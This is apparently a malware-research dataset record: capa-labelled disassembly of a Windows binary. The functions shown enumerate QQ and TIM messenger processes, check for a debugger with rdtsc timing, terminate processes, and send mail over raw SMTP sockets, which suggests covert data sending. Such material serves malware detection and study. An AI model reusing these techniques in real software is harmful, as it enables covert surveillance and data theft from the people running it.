joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4017d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp dword [esi + 0x18], 0x10
mov edi, eax
lea eax, [esi + 4]
jb 0x4017fa
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
movzx ecx, word [esi]
mov eax, 2
push ecx
mov dword [ebp - 0x10], edx
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x14]
push edx
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x401844
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
push 0x401
mov dword [esi + 0x4c0], edi
lea edi, [esi + 0xb8]
push 0
push edi
call sub.MSVCR100.dll_memset
mov eax, dword [esi + 0x4c0]
add esp, 0xc
push 0
push 0x400
push edi
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x401833
mov ecx, dword [ebp - 4]
mov byte [esi + eax + 0xb8], 0
xor ecx, ebp
mov al, 1
pop edi
call fcn.0040663a
mov esp, ebp
pop ebp
ret

Function at 0x4018f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push 0x401
lea esi, [edi + 0xb8]
push 0
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [edi + 0x4c0]
add esp, 0xc
push 0
push 0x400
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
pop esi
cmp eax, 0xffffffff
jne 0x401925
xor al, al
ret
mov byte [eax + edi + 0xb8], 0
mov al, 1
ret
Function at 0x401cb0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407328
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], esi
mov byte [ebp - 0x2c], 0
push 0xc
mov eax, str.MAIL_FROM:__
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], esi
call fcn.00403530
push esi
lea eax, [ebx + 0x20]
push eax
or eax, 0xffffffff
lea edi, [ebp - 0x2c]
call fcn.00403480
push 3
mov eax, 0x4082e8
mov ecx, edi
call fcn.00403530
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x401d25
mov eax, edi
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebx + 0x4c0]
push esi
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x401e52
push 0x401
lea edi, [ebx + 0xb8]
push esi
push edi
call sub.MSVCR100.dll_memset
mov eax, dword [ebx + 0x4c0]
add esp, 0xc
push esi
push 0x400
push edi
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x401e52
mov byte [ebx + eax + 0xb8], 0
push 0xa
mov eax, str.RCPT_TO:__
lea ecx, [ebp - 0x2c]
call fcn.00403530
push esi
lea ecx, [ebx + 0x58]
push ecx
or eax, 0xffffffff
lea edi, [ebp - 0x2c]
call fcn.00403480
push 3
mov eax, 0x4082e8
mov ecx, edi
call fcn.00403530
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x401db3
mov eax, edi
mov edx, dword [ebp - 0x1c]
push esi
push edx
push eax
mov eax, dword [ebx + 0x4c0]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x401e46
mov edi, ebx
call fcn.004018f0
test al, al
je 0x401e46
mov edi, 6
mov eax, str.DATA_r_n
lea esi, [ebp - 0x2c]
call fcn.00403b50
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x401df3
mov eax, esi
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebx + 0x4c0]
push 0
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x401e3c
mov edi, ebx
call fcn.004018f0
test al, al
je 0x401e3c
lea eax, [ebp - 0x2c]
mov ecx, ebx
call fcn.00401e90
lea eax, [ebp - 0x2c]
push eax
mov ecx, ebx
call fcn.004018a0
lea esi, [ebp - 0x2c]
test al, al
je 0x401e3f
call fcn.00402790
mov al, 1
jmp 0x401e67
lea esi, [ebp - 0x2c]
call fcn.00402790
jmp 0x401e65
cmp dword [ebp - 0x18], 0x10
jb 0x401e65
mov ecx, dword [ebp - 0x2c]
push ecx
jmp 0x401e5c
cmp dword [ebp - 0x18], 0x10
jb 0x401e65
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
Function at 0x401f70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407258
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
mov dword [ebp - 4], eax
lea edi, [eax + 0xe]
mov eax, str.__qwertyuiop_r_n
lea esi, [ebp - 0x2c]
call fcn.00403b50
push 0x19
mov eax, str.Content_Type:_text_plain_
mov ecx, esi
call fcn.00403530
push 0x14
mov eax, str.charset_gb2312__r_n_r_n
mov ecx, esi
call fcn.00403530
push 0
lea eax, [ebx + 0x90]
push eax
or eax, 0xffffffff
mov edi, esi
call fcn.00403480
push 4
mov eax, str._r_n_r_n
mov ecx, esi
call fcn.00403530
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jae 0x40200b
mov eax, edi
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebx + 0x4c0]
push 0
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
setne bl
cmp dword [ebp - 0x18], esi
jb 0x402037
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
Function at 0x4025d0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407258
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
mov dword [ebp - 4], eax
lea edi, [eax + 0xe]
mov eax, str.__qwertyuiop__
lea esi, [ebp - 0x2c]
call fcn.00403b50
push 5
mov eax, str._r_n._r_n
mov ecx, esi
call fcn.00403530
mov eax, dword [ebp - 0x2c]
mov edi, 0x10
cmp dword [ebp - 0x18], edi
jae 0x40263c
mov eax, esi
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebx + 0x4c0]
push 0
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4026f3
push 0x401
lea esi, [ebx + 0xb8]
push 0
push esi
call sub.MSVCR100.dll_memset
mov eax, dword [ebx + 0x4c0]
add esp, 0xc
push 0
push 0x400
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4026f3
mov byte [ebx + eax + 0xb8], 0
mov edi, 6
mov eax, str.QUIT_r_n
lea esi, [ebp - 0x2c]
call fcn.00403b50
mov eax, dword [ebp - 0x2c]
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jae 0x4026b3
lea eax, [ebp - 0x2c]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebx + 0x4c0]
push 0
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4026db
mov edi, ebx
call fcn.004018f0
test al, al
je 0x4026db
mov bl, 1
jmp 0x4026dd
xor bl, bl
cmp dword [ebp - 0x18], esi
jb 0x4026ef
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, bl
jmp 0x402707
cmp dword [ebp - 0x18], edi
jb 0x402705
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
Function at 0x403840
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407258
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4039d2
cmp byte [ebx + 0x49], 0
je 0x4039d2
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x4039c6
lea esi, [ebp - 0x2c]
call fcn.00403420
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4038b3
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x4038eb
dec eax
je 0x4038ef
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x4039cd
call fcn.00402790
xor al, al
jmp 0x4039d4
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4038ff
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40392d
cmp edi, 0x10
jae 0x40390e
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x4039be
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4039ca
test esi, esi
jne 0x4038a7
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x4039ef
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x4039ef
cmp edi, esi
jae 0x4039a7
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.00403c70
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x4038a7
mov ecx, eax
cmp edi, 0x10
jae 0x403983
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40399e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x4038a1
test esi, esi
jne 0x403979
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4039b6
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x4038a1
lea esi, [ebp - 0x2c]
call fcn.00402790
xor al, al
jmp 0x4039d4
lea esi, [ebp - 0x2c]
call fcn.00402790
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x403fe0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 8
mov esi, str.QQScreenshot.exe
lea edi, [ebp - 0x254]
rep movsd dword es:[edi], dword [esi]
push 0x228
xor ebx, ebx
lea eax, [ebp - 0x22c]
push ebx
push eax
movsw word es:[edi], word [esi]
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 2
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x230]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x404062
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x404070
lea ecx, [ebp - 0x20c]
lea eax, [ebp - 0x254]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4040a6
test dx, dx
je 0x4040a2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4040a6
add eax, 4
add ecx, 4
test dx, dx
jne 0x404080
xor eax, eax
jmp 0x4040ab
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4040bf
lea edx, [ebp - 0x230]
push edx
push esi
call edi
test eax, eax
jne 0x404070
jmp 0x4040c5
mov ebx, dword [ebp - 0x228]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040663a
mov esp, ebp
pop ebp
ret
Function at 0x4040e0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.QQ.exe]
mov edx, dword [0x408550]
mov ecx, dword [0x40854c]
push ebx
push esi
mov dword [ebp - 0x238], edx
mov edx, dword [0x40855c]
mov dword [ebp - 0x240], eax
mov ax, word [0x408554]
mov dword [ebp - 0x23c], ecx
mov ecx, dword [str.TIM.exe]
push 0x228
mov dword [ebp - 0x24c], edx
xor ebx, ebx
mov word [ebp - 0x234], ax
mov eax, dword [0x408560]
mov dword [ebp - 0x250], ecx
mov ecx, dword [0x408564]
lea edx, [ebp - 0x22c]
push ebx
push edx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push ebx
push 2
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x230]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x4041ab
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x4041c0
lea ecx, [ebp - 0x20c]
lea eax, [ebp - 0x240]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4041f6
test dx, dx
je 0x4041f2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4041f6
add eax, 4
add ecx, 4
test dx, dx
jne 0x4041d0
xor eax, eax
jmp 0x4041fb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404253
lea ecx, [ebp - 0x20c]
lea eax, [ebp - 0x250]
jmp 0x404210
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404236
test dx, dx
je 0x404232
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404236
add eax, 4
add ecx, 4
test dx, dx
jne 0x404210
xor eax, eax
jmp 0x40423b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x404253
lea ecx, [ebp - 0x230]
push ecx
push esi
call edi
test eax, eax
jne 0x4041c0
jmp 0x404259
mov ebx, dword [ebp - 0x228]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040663a
mov esp, ebp
pop ebp
ret
Function at 0x404280
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x40b018]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
push edi
push eax
push 4
xor edi, edi
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x20], 0x1c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
jne 0x4042e2
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040663a
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Thread32Next]
lea esp, [esp]
mov ecx, dword [ebp + 8]
cmp dword [ebp - 0x14], ecx
je 0x404305
lea edx, [ebp - 0x20]
push edx
push esi
call ebx
test eax, eax
jne 0x4042f0
jmp 0x404308
mov edi, dword [ebp - 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop ebx
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.0040663a
mov esp, ebp
pop ebp
ret
Function at 0x405120
Capabilities:
Terminate process

Disassembly:
push esi
push 0
push str.5B3838F5_0C81_46D9_A4C0_6EA28CA3E942
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
jne 0x405142
call fcn.00403fe0
test eax, eax
jne 0x405169
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004040e0
mov esi, eax
test esi, esi
je 0x40516e
push esi
call fcn.00404280
add esp, 4
test eax, eax
je 0x40516e
push esi
mov ecx, eax
call fcn.00404330
add esp, 4
xor eax, eax
pop esi
ret
call fcn.00404c70
xor eax, eax
pop esi
ret
Function at 0x40663a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40b018]
jne 0x406644
repz ret
jmp fcn.00406a57
Function at 0x100011e8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10001212
mov eax, dword [ebp + 8]
push eax
mov dword [0x101a4adc], eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
push eax
push eax
push eax
push 0x100015e9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc
Function at 0x10002030
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
push 1
push dword [ebp + 0xc]
call fcn.100022b0
mov ecx, dword [ebp + 0x10]
push ecx
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
add esp, 0xc
xorps xmm0, xmm0
mov dword [ebp - 4], 1
nop dword [eax + eax]
movsd qword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 1
call fcn.1016e52c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0
nop dword [eax + eax]
rdtsc
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
test eax, eax
jle 0x100020a7
mov edi, dword [ebp + 0x10]
mov esi, eax
mov ecx, dword [ebp + 0xc]
push edi
push ecx
mov eax, dword [ecx]
mov eax, dword [eax]
call eax
add esp, 8
sub esi, 1
jne 0x10002094
rdtsc
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
call fcn.1016a400
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
movsd qword [ebp - 0xc], xmm0
call fcn.1016a400
mov esi, dword [ebp + 8]
movsd xmm1, qword [ebp - 0xc]
mov ebx, dword [ebp + 0x10]
subsd xmm1, xmm0
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
test eax, eax
je 0x100020fc
push 1
sub esp, 8
movsd qword [esp], xmm1
push ebx
call dword [ebp - 8]
fstp qword [ebp - 0xc]
movsd xmm1, qword [ebp - 0xc]
add esp, 0x10
xorps xmm0, xmm0
comisd xmm0, xmm1
ja 0x10002054
cmp dword [ebp - 0x10], 0
jne 0x1000211a
movsd xmm0, qword [ebp - 0x20]
comisd xmm0, xmm1
jbe 0x1000211f
movsd qword [ebp - 0x20], xmm1
mov dword [ebp - 0x10], 0
call fcn.1016e52c
sub eax, dword [ebp - 0x18]
movd xmm0, eax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x101832b8]
test eax, eax
je 0x10002161
push 1
sub esp, 8
movsd qword [esp], xmm0
push ebx
call dword [ebp - 8]
fstp qword [ebp - 0xc]
movsd xmm0, qword [ebp - 0xc]
add esp, 0x10
comisd xmm0, xmmword [0x101832b0]
ja 0x1000217b
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, 8
jl 0x10002080
movsd xmm0, qword [ebp - 0x20]
comisd xmm0, xmmword [0x101832c0]
jae 0x100021a0
mov eax, dword [ebp - 4]
xorps xmm0, xmm0
add eax, eax
mov dword [ebp - 4], eax
jne 0x10002060
jmp 0x10002054
push 0
push dword [ebp + 0xc]
call fcn.100022b0
movd xmm0, dword [ebp - 4]
add esp, 8
movsd xmm1, qword [ebp - 0x20]
cvtdq2pd xmm0, xmm0
pop edi
pop esi
pop ebx
divsd xmm1, xmm0
movsd qword [ebp - 0x30], xmm1
fld qword [ebp - 0x30]
mov esp, ebp
pop ebp
ret
Function at 0x10004710
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x50], 0
ret
Function at 0x100f9b30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x30
mov eax, dword [0x101a2ce4]
xor eax, esp
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x40]
mov edx, dword [esp + 0x38]
push ebx
push edi
mov edi, dword [esp + 0x3c]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
mov ebx, dword [edi + 8]
mov eax, dword [edi]
mov dword [esp + 8], edx
mov dword [esp + 0x14], eax
test ebx, ebx
jne 0x100f9b8f
cmp dword [edi + 0x78], ebx
jne 0x100f9b78
test byte [eax + 0x50], 8
jne 0x100f9b78
mov byte [edi + 0x17], 1
push edi
call fcn.1013a130
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100f9c47
mov edx, dword [esp + 8]
mov ecx, edx
mov edx, dword [esp + 0x14]
shl ecx, 4
push ebp
push esi
mov eax, dword [edx + 0x10]
add eax, ecx
mov dword [esp + 0x24], ecx
mov dword [esp + 0x18], eax
xor esi, esi
jmp 0x100f9bb4
mov edx, dword [esp + 0x1c]
mov ebp, dword [esi*8 + 0x1018f400]
mov dword [esp + 0x20], ebp
cmp esi, 3
jae 0x100f9d0d
push dword [eax]
mov byte [esp + esi + 0x18], 0
push ebp
push edx
call fcn.1011b310
add esp, 0xc
test eax, eax
jne 0x100f9c58
cmp esi, 1
jge 0x100f9c0a
push dword [esi*8 + 0x1018f404]
mov eax, dword [esp + 0x1c]
push ebp
push dword [eax]
push str.CREATE_TABLE__Q._s__s_
push edi
call fcn.10125310
mov eax, dword [edi + 0x60]
add esp, 0x14
mov dword [esp + esi*4 + 0x30], eax
mov byte [esp + esi + 0x14], 0x10
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
inc esi
cmp esi, 3
jl 0x100f9bb0
push 3
push edx
push dword [esp + 0x38]
push dword [esp + 0x58]
push 0x71
push ebx
call fcn.10139c40
mov eax, dword [ebx + 0x6c]
add esp, 0x18
test eax, eax
jle 0x100f9c45
movzx edx, byte [esp + 0x14]
lea ecx, [eax + eax*4]
mov eax, dword [ebx + 0x68]
mov word [eax + ecx*4 - 0x12], dx
pop esi
pop ebp
mov ecx, dword [esp + 0x34]
pop edi
pop ebx
xor ecx, esp
call fcn.10169f7a
add esp, 0x30
ret
mov edx, dword [esp + 0x10]
mov ebp, dword [eax + 0x14]
mov dword [esp + esi*4 + 0x30], ebp
cmp edx, 1
je 0x100f9c90
mov eax, dword [edi]
mov ecx, dword [esp + 0x24]
mov eax, dword [eax + 0x10]
mov eax, dword [eax + ecx + 4]
cmp byte [eax + 9], 0
je 0x100f9c90
push dword [esp + 0x20]
push 1
push ebp
push edx
push edi
call fcn.100f5930
mov edx, dword [esp + 0x24]
add esp, 0x14
mov eax, dword [esp + 0x28]
test eax, eax
je 0x100f9cba
push eax
push dword [esp + 0x30]
mov eax, dword [esp + 0x20]
push dword [esp + 0x28]
push dword [eax]
push str.DELETE_FROM__Q._s_WHERE__s_Q
push edi
call fcn.10125310
add esp, 0x18
jmp 0x100f9c0a
mov ecx, dword [ebx + 0x6c]
cmp dword [ebx + 0x70], ecx
jg 0x100f9cd9
push 0
push edx
push ebp
push 0x91
push ebx
call fcn.100f0a80
add esp, 0x14
jmp 0x100f9c0a
mov edx, dword [esp + 0x10]
lea eax, [ecx + 1]
mov dword [ebx + 0x6c], eax
lea ecx, [ecx + ecx*4]
mov eax, dword [ebx + 0x68]
mov dword [eax + ecx*4], 0x91
mov dword [eax + ecx*4 + 4], ebp
mov dword [eax + ecx*4 + 8], edx
mov dword [eax + ecx*4 + 0xc], 0
mov dword [eax + ecx*4 + 0x10], 0
jmp 0x100f9c0e
call fcn.1016a7a1
int3